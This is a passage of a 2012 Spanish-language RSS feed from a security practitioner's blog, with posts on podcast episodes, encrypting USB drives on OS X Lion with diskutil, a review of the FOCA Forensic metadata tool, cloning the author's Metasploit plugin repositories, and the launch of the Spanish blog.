<p align="left">Espero que haya encontrado el articulo útil e informativo. </p>]]></description><wfw:commentRss>http://www.darkoperator.com/es/rss-comments-entry-15068246.xml</wfw:commentRss></item><item><title>Pauldotcom Español Episodios 8 y 9</title><dc:creator>Carlos Perez</dc:creator><pubDate>Wed, 15 Feb 2012 18:11:14 +0000</pubDate><link>http://www.darkoperator.com/es/2012/2/15/pauldotcom-espaol-episodios-8-y-9.html</link><guid isPermaLink="false">336454:14640213:15048847</guid><description><![CDATA[<p><span>Continuamos con el podcast en espa&ntilde;ol, la semana pasada lanzamos una entrevista con Chema Alonso de Espa&ntilde;a, esta semana entrevista con la Licensiada Julizzette Colon Bilbraut hablando de SOPA, ACTA, Anonymous y mucho mas. Espero poder cacar uno por semana este a&ntilde;o</span><br /><br /><a rel="nofollow nofollow" href="http://traffic.libsyn.com/pdces/PaulDotCom-Espanol-8.mp3" target="_blank">http://traffic.libsyn.com/pdces/PaulDotCom-Espanol-8.mp3</a><br /><br /><a rel="nofollow nofollow" href="http://traffic.libsyn.com/pdces/PaulDotCom-Espanol-9.mp3" target="_blank">http://traffic.libsyn.com/pdces/PaulDotCom-Espanol-9.mp3</a></p>
<p>Para las notas del show pueden visitar<a href="http://pauldotcom.com/wiki/index.php/PaulDotCom_Espanol"> http://pauldotcom.com/wiki/index.php/PaulDotCom_Espanol</a></p>
<p>&nbsp;</p>]]></description><wfw:commentRss>http://www.darkoperator.com/es/rss-comments-entry-15048847.xml</wfw:commentRss></item><item><title>Encryptando Dispositivos USB en OS X Lion</title><dc:creator>Carlos Perez</dc:creator><pubDate>Tue, 14 Feb 2012 20:26:48 +0000</pubDate><link>http://www.darkoperator.com/es/2012/2/14/encryptando-dispositivos-usb-en-os-x-lion.html</link><guid isPermaLink="false">336454:14640213:15036288</guid><description><![CDATA[<p>Una de las primeras cosas que hago con mis discos externos incluyendo USB Sticks es encriptar los mismos por el hecho que los mismos son f&aacute;ciles de perder y pueden ser hurtados tambi&eacute;n f&aacute;cilmente. Otro de de los problemas es que cada d&iacute;a el moverse a travez de fronteras se ha hecho mas prohibitivo ya que los agentes de las diferentes aduanas pueden confiscar y tristemente dependiendo el pa&iacute;s pueden hasta hurtar los mismos por lo cual tiendo a proteger no solo mi data so no la de mis clientes.</p>
<p>En OS X Lion 10.7 se puede usar los que se conoce como FileVault2 para poder encriptar a nivel del file system el dispositivo y por ello la data que se encuentra en el mismo. Hacerlo a nivel de GUI es bien sencillo ya que uso solo tiene que ir a Launchpad -&gt; Utilities -&gt; Disk Utility una vez dentro del mismo uso solo tiene que seleccionar el dispositivo se selecciona Erase y en Format se escoge Mac OS Extended (Case-Sensitive, Journaled, Encrypted)</p>
<p><a rel="lightbox" href="http://www.darkoperator.com/resource/Windows-Live-Writer-534dd78d5b42_E4F0-?fileId=16597666"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border-width: 0px;" title="du1" src="http://www.darkoperator.com/resource/Windows-Live-Writer-534dd78d5b42_E4F0-?fileId=16597667" border="0" alt="du1" width="658" height="567" /></a></p>
<p>Luego uno solo entra la contra se&ntilde;a que se quiere usar y se deja que borre y encripte el dispositivo</p>
<p>&nbsp;</p>
<p><a rel="lightbox" href="http://www.darkoperator.com/resource/Windows-Live-Writer-534dd78d5b42_E4F0-?fileId=16597673"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border-width: 0px;" title="du2" src="http://www.darkoperator.com/resource/Windows-Live-Writer-534dd78d5b42_E4F0-?fileId=16597676" border="0" alt="du2" width="635" height="561" /></a></p>
<p>&nbsp;</p>
<p>Pero como podemos ver esto borra la data que se encuentra en el disco. Hay una manera de no perder la data que se puede encontrar en el dispositivo pero Apple no nos da acceso a la misma desde la interfaz gr&aacute;fica por lo cual tenemos que usar la terminal para poder hacerlo. Para subir la terminal Launchpad -&gt; Utilities -&gt; Terminal    <br />En la misma usamos el comando de diskutil para ver los discos:</p>
<pre>loki:~ carlos$ diskutil list
/dev/disk0
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID<em>partition</em>scheme                        *500.1 GB   disk0
   1:                        EFI                         209.7 MB   disk0s1
   2:          Apple<em>CoreStorage                         499.2 GB   disk0s2
   3:                 Apple</em>Boot Recovery HD             650.0 MB   disk0s3
/dev/disk1
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:                  Apple<em>HFS HDD                    *498.9 GB   disk1
/dev/disk2
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID</em>partition<em>scheme                        *500.1 GB   disk2
   1:                        EFI                         209.7 MB   disk2s1
   2:                  Apple</em>HFS TimeMachine             499.8 GB   disk2s2
/dev/disk3
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID<em>partition</em>scheme                        *4.1 GB     disk3
   1:                        EFI                         209.7 MB   disk3s1
   2:                  Apple<em>HFS USBDATA                 3.8 GB     disk3s2</em></pre>
<p><em> Podemos ver que nuestro disco esta como /dev/disk3 y la partici&oacute;n con la data es la numero 2 dentro del mismo. Apple solo permite el encriptar Core Storage el cual anade al file system del dispositivo unos encabezados adicionales. Para ver los dispositivos de core storage en la maquina hacemos le damos el parametro de cs a diskutil para verlos: </em></p>
<pre><em>CoreStorage logical volume groups (1 found)
|
+-- Logical Volume Group BC8C478F-D913-49B6-BDF5-799029BCD421
    =========================================================
    Name:         HDD
    Sequence:     1
    Free Space:   0 B (0 B)
    |
    +-&lt; Physical Volume 8529C661-2A18-406A-B18E-B8AE9F96BEA3
    |   ----------------------------------------------------
    |   Index:    0
    |   Disk:     disk0s2
    |   Status:   Online
    |   Size:     499248103424 B (499.2 GB)
    |
    +-&gt; Logical Volume Family DFBEF69D-161D-43A4-92B0-8C11F36D2729
        ----------------------------------------------------------
        Sequence:               55
        Encryption Status:      Unlocked
        Encryption Type:        AES-XTS
        Encryption Context:     Present
        Conversion Status:      Complete
        Has Encrypted Extents:  Yes
        Conversion Direction:   -none-
        |
        +-&gt; Logical Volume 54364969-893B-47BE-9765-026657179FC5
            ---------------------------------------------------
            Disk:               disk1
            Status:             Online
            Sequence:           4
            Size (Total):       498929332224 B (498.9 GB)
            Size (Converted):   -none-
            Revertible:         Yes (unlock and decryption required)
            LV Name:            HDD
            Volume Name:        HDD
            Content Hint:       Apple</em>HFS</pre>
<p>Como se puede ver solo el disco local de la maquina es un Core Storage device por lo cual tendremos que convertir el dispositivo USB en un Core Storage Device y ponerle una contrase&ntilde;a para indicar que el mismo debe ser encriptado, para esto usamos la herramienta de diskutil de nuevo:</p>
<pre>loki:~ carlos$ diskutil cs convert disk3s2 -passphrase mysecret
Started CoreStorage operation on disk3s2 USBDATA
Resizing disk to fit Core Storage headers
[ - 0%..10%.............................................. ] </pre>
<p>La herramienta preservara la data y encriptara el dispositivo. La encripcion tomara un poco de tiempo podemos monitorear la misma con diskutil:</p>
<pre>loki:~ carlos$ diskutil cs list
CoreStorage logical volume groups (2 found)
|
+-- Logical Volume Group BC8C478F-D913-49B6-BDF5-799029BCD421
|   =========================================================
|   Name:         HDD
|   Sequence:     1
|   Free Space:   0 B (0 B)
|   |
|   +-&lt; Physical Volume 8529C661-2A18-406A-B18E-B8AE9F96BEA3
|   |   ----------------------------------------------------
|   |   Index:    0
|   |   Disk:     disk0s2
|   |   Status:   Online
|   |   Size:     499248103424 B (499.2 GB)
|   |
|   +-&gt; Logical Volume Family DFBEF69D-161D-43A4-92B0-8C11F36D2729
|       ----------------------------------------------------------
|       Sequence:               55
|       Encryption Status:      Unlocked
|       Encryption Type:        AES-XTS
|       Encryption Context:     Present
|       Conversion Status:      Complete
|       Has Encrypted Extents:  Yes
|       Conversion Direction:   -none-
|       |
|       +-&gt; Logical Volume 54364969-893B-47BE-9765-026657179FC5
|           ---------------------------------------------------
|           Disk:               disk1
|           Status:             Online
|           Sequence:           4
|           Size (Total):       498929332224 B (498.9 GB)
|           Size (Converted):   -none-
|           Revertible:         Yes (unlock and decryption required)
|           LV Name:            HDD
|           Volume Name:        HDD
|           Content Hint:       Apple<em>HFS
|
+-- Logical Volume Group 325EC39E-26F7-4215-BDEF-E53AFADA9958
    =========================================================
    Name:         USBDATA
    Sequence:     1
    Free Space:   0 B (0 B)
    |
    +-&lt; Physical Volume A7E49379-34D4-4079-B664-45B0F0F7A0CD
    |   ----------------------------------------------------
    |   Index:    0
    |   Disk:     disk3s2
    |   Status:   Online
    |   Size:     3766255616 B (3.8 GB)
    |
    +-&gt; Logical Volume Family 28FA2B59-A0CF-43DD-AFE4-297C2CE9EF57
        ----------------------------------------------------------
        Sequence:               6
        Encryption Status:      Unlocked
        Encryption Type:        AES-XTS
        Encryption Context:     Present
        Conversion Status:      Converting
        Has Encrypted Extents:  Yes
        Conversion Direction:   forward
        |
        +-&gt; Logical Volume AB41F110-D378-4593-A3E5-4DF7545578B6
            ---------------------------------------------------
            Disk:               disk4
            Status:             Online
            Sequence:           4
            Size (Total):       3447484416 B (3.4 GB)
            Size (Converted):   142606336 B (142.6 MB)
            Revertible:         Yes (unlock and decryption required)
            LV Name:            USBDATA
            Volume Name:        USBDATA
            Content Hint:       Apple</em>HFSX</pre>
<p>Como se puede ver en Conversion Status dice Converting, cuando el mismo diga Complete el proceso habr&aacute; terminado. Ahora cuando se re-inserte el USB el sistema operativo pedira la contra sena para poder montar el mismo</p>
<p><a rel="lightbox" href="http://www.darkoperator.com/resource/Windows-Live-Writer-534dd78d5b42_E4F0-?fileId=16597724"><img style="background-image: none; padding-left: 0px; padding-right: 0px; display: inline; padding-top: 0px; border: 0px;" title="sa" src="http://www.darkoperator.com/resource/Windows-Live-Writer-534dd78d5b42_E4F0-?fileId=16597726" border="0" alt="sa" width="450" height="192" /></a></p>]]></description><wfw:commentRss>http://www.darkoperator.com/es/rss-comments-entry-15036288.xml</wfw:commentRss></item><item><title>FOCA Forensic</title><dc:creator>Carlos Perez</dc:creator><pubDate>Wed, 01 Feb 2012 17:37:39 +0000</pubDate><link>http://www.darkoperator.com/es/2012/2/1/foca-forensic.html</link><guid isPermaLink="false">336454:14640213:14827385</guid><description><![CDATA[<p>Recientemente tuve la oportunidad de entrevistar a Chema Alonso de <a href="http://www.informatica64.com/" target="_blank">Informatica64</a> donde conversamos sobre los nuevos cambios a FOCA y me dio la grata sorpresa de que hay una nueva versión de FOCA la misma es FOCA Forensic la cual esta pronta a salir, la misma toma las experiencia y código que han estado puliendo por mucho tiempo para el análisis de la metadato en documentos e imágenes para el uso de análisis forense. </p>  <p>En la manera en que trabaja la herramienta al hacer una imagen de un sistema y la mista ser montada en manera de lectura solamente sea atreves de la red o local en una maquina de análisis se lanza la herramienta la cual nos lleva a la pantalla de creación de proyecto</p>  <p>&#160;</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357867" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357868" width="403" height="366" /></a></p>  <p>En la misma se graba la fecha y hora de cuando se esta creando el proyecto de manera de documentación de la cadena de evidencia, se le da un nombre y se entra cualquier apunte pertinente como lo seria como se obtuvo, nombre del cliente, numero de caso, persona o compañía conduciendo el análisis ..etc. Luego de selecciona el lugar donde se tiene la imagen de disco montada:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357871" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357873" width="399" height="363" /></a></p>    <p>Luego se selecciona que tipo de documento se quiere que se analice:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357875" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357877" width="391" height="356" /></a></p>  <p>Luego escogemos el tipo de cifrado que se usara para validación de integridad de los archivos, esto es de gran importancia cuando la información que se genere pueda ser usada en un caso legal, yo en lo personal recomiendo el uso de SHA1 por que un abogado que sea listo puede mencionar o poner en duda MD5 por lo ataques que han surgido contra el mismo y como cuerpos de&#160; estándar como el NIST lo ha abandonado poniendo en duda el cifrado. En la versión completa se puede seleccionar el que busque también dentro de archivos comprimidos seleccionando la opción de búsqueda en los mismos. </p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357878" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357880" width="393" height="357" /></a></p>    <p>Después FOCA nos preguntara si queremos correr de manera recursiva la búsqueda de documentos apoyados para extracción de metadato.</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357881" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357882" width="332" height="163" /></a></p>  <p>Una vez se conteste se comenzara a buscar los archivos y se analizaran. Una vez se termine de buscar y extraer la data podemos empezar a ver la misma y explorar lo que se ha colectado</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357883" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357887" width="696" height="410" /></a></p>  <p>Como se puede ver la imagen nos separa los tipos de archivos , sus cantidades y espacio ocupado por los mismos, en la parte de resumen podemos ver los datos que fueron extraídos de los archivos los cuales nos sirven para afinar la búsqueda de información según el propósito de la investigación, en la parte de contraseñas la herramienta extrae las contraseñas de archivos ICA y RDP las cuales pueden servir para poder expandir la búsqueda de evidencia al igual de lugares donde el archivo puedo ser almacenado e impreso, esto hace que la herramienta sea perfecta para búsquedas iniciales ya que el encontrar todos los puntos donde los documentos han podido residir nos da la ventaja de pedir ordenes de búsqueda y expandir una investigación donde antes uno hubiera estado limitado a la data local y a lo que se hubiera podido extraer del registro de Windows en las llaves MRU (Most Recently Used) donde esa data podría ser obviada si el usuario uso otro método de transporte que el acceso directo de una carpeta compartida o sistema de correo de Windows.</p>  <p>En la pantalla de Timeline en la herramienta es donde esta el verdadero poder para el investigador forense</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357889" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357891" width="667" height="393" /></a></p>  <p>En el timeline se puede filtrar por nombre de usuario, por nombre de archivo, por fecha, por tipo de archivo y la parte donde veo mucho valor al ser usada con la fecha es el tipo de evento</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357892" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357896" width="390" height="223" /></a></p>  <p>Una vez se tiene la data que uno encuentra pertinente para la investigación la misma se puede crear un reporte para compartir con otros y si se conoce bien de programación se puede tener un archivo en formato XML que es perfecto para procesamiento y alimentación a otras herramientas. </p>  <p>&#160;</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357897" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-FOCA-Forensic_9300-?fileId=16357899" width="244" height="147" /></a></p>  <p>&#160;</p>  <p>Como se puede ver la herramienta será de gran uso para investigadores forenses y manejadores de incidentes. Una de las cosas que mas me gusta de Informatica64 y el trabajo que hacen es el que requieren que se tome el curso de la herramienta para poder tener las versiones Pro, esto garantiza el mejor uso de la misma y los datos producidas por las misma y a su vez obtienen información de como mejorar la misma a la misma vez que cementa la confianza de sus usuarios con la misma.</p>]]></description><wfw:commentRss>http://www.darkoperator.com/es/rss-comments-entry-14827385.xml</wfw:commentRss></item><item><title>Recomendación de Uso de Mis Repositorios para Metasploit</title><category>Metasploit</category><dc:creator>Carlos Perez</dc:creator><pubDate>Tue, 31 Jan 2012 01:06:15 +0000</pubDate><link>http://www.darkoperator.com/es/2012/1/30/recomendacion-de-uso-de-mis-repositorios-para-metasploit.html</link><guid isPermaLink="false">336454:14640213:14799177</guid><description><![CDATA[<p>Para los que no me conoces yo soy uno de los miembros del equipo de desarrollo de Metasploit en en lado comunitarios por mucho tiempo y por ellos en adicion que muchos de mis módulos se encuentran como parte de la versión de código abierto de Metasploit también tengo una serie de plugins y módulos los cuales están en constante trabajo y mejora los cuales no tengo intensión al momento de contribuir al proyecto por razones de que las reglas del mismo no lo permiten o que se encuentran aun en desarrollo y no están terminados pero funcionales. Para poder usar los mismos con cualquier copia de Metasploit que estén corriendo sobre OS X o sobre Linux pueden hacer lo siguiente para bajar los mismos y ponerlos como parte de su perfil personal de Metasploit. Comenzamos con crear una carpeta donde los proyectos van a residir:</p>

<pre>
mkdir ~/Development
</pre>

<p>Luego hacemos una copia de los repositorios y le damos nombres mas sencillos a los mismos:</p>

<pre>
cd ~/Deveolpment
git clone https://github.com/darkoperator/Metasploit-Plugins.git msf_plugins
git clone https://github.com/darkoperator/Meterpreter-Scripts.git msf_modules
</pre>

<p>Ahora podemos crear vínculos a nuestra carpeta de configuración de nuestro usuario de Metasploit:</p>

<pre>
ln -s ~/Development/msf_plugins/ ~/.msf4/plugins
ln -s ~/Development/msf_modules/ ~/.msf4/modules
</pre>

<p>Ahora solo tenemos que usar Git para mantener los mismos al día navegando a cada carpeta y haciendo un:</p>

<pre>
git pull
</pre>

<p>En entradas futuras estaré cubriendo en detalles estos módulos y plugins. Les recomiendo que me sigan en mi GitHub https://github.com/darkoperator de manera de que puedan seguir los cambios que ocurren con el proyecto y con cada entrada en el Blog que bajen la ultima versión con un git pull ya que cada vez que estoy en el proceso de escribir uno no puedo resistir añadirle mas cosas y corregir problemas al darle mayor atención al uso de los mismos.</p>
]]></description><wfw:commentRss>http://www.darkoperator.com/es/rss-comments-entry-14799177.xml</wfw:commentRss></item><item><title>Blog en Español</title><dc:creator>Carlos Perez</dc:creator><pubDate>Tue, 31 Jan 2012 00:34:35 +0000</pubDate><link>http://www.darkoperator.com/es/2012/1/30/blog-en-espaol.html</link><guid isPermaLink="false">336454:14640213:14798733</guid><description><![CDATA[<p>Por mucho tiempo mi blog y contenido de mi pagina ha sido en ingles, principalmente por que en mi carrera en especial en Puerto Rico donde vivo has sido bien pocos los que e conocido que estén interesados en el mundo de hackeo ético que compartan mi pasión por penetración de sistemas. Pero últimamente con el podcast que hago en castellano de Pauldotcom he podido conocer tanto gente local y fuera de Puerto Rico con quien compartir ideas y conocimiento. Por ello hoy comienzo mi blog en español donde estaré compartiendo mis intereses. Espero que el mismo sea de su agrado y que podamos creer la comunidad aun mas.</p>
]]></description><wfw:commentRss>http://www.darkoperator.com/es/rss-comments-entry-14798733.xml</wfw:commentRss></item></channel></rss>